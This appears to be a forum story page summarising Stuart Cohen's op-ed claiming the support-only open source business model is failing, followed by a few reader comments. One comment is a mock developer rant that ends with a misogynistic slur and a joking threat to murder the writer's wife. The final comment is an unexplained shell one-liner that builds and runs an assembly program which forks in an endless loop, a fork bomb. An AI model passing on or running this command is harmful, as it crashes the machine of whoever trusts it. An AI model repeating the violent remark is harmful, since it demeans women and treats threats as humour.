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"FOSS Business Model Broken" — Former OSDL CEO
liraz writes "Stuart Cohen, former CEO of Open Source Development Labs, has written an op-ed on BusinessWeek claiming that the traditional open source business model, which relies solely on support and service revenue streams, is failing to meet the expectations of investors. He discusses the 'great paradox' of the FOSS business model, saying: 'For anyone who hasn't been paying attention to the software industry lately, I have some bad news. The open source business model is broken. Open source code is generally great code, not requiring much support. So open source companies that rely on support and service alone are not long for this world.' Cohen goes on to outline the beginnings of a business model that can work for FOSS going forward."
Last I checked Notes, Rose, etc. were not free.
You cannot argue closed source software does have some advantages: you can have bigger price on it.
Open source has its own advantages, it is cheaper to the customer, and the "customer is the king".
READ the documentation before speaking. THE DEVELOPER is king. It is stated clearly in Elvish on the man page for the latest nightly build of unstable-qwzrt-1.05.3.rc845
And don't try to read the man page unless you have unsupported-font-elvish installed, version 4 or later (but NOT version 5 or 6 which EVERYONE knows is borked). And you can't install unsupported package unless you hexedit manifest.bin, let's not revisit that old chestnut. We assume some BASIC level of COMPUTER SKILLS amongst people that insist on installing UNSUPPORTED or UNSTABLE packages.
Jesus, I work for FREE for you people, the least I'd expect is that you would do your homework before spouting off about stuff that you know nothing about. Your WORSE than my BITCH WIFE. One of these days I'm going to MURDER her.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;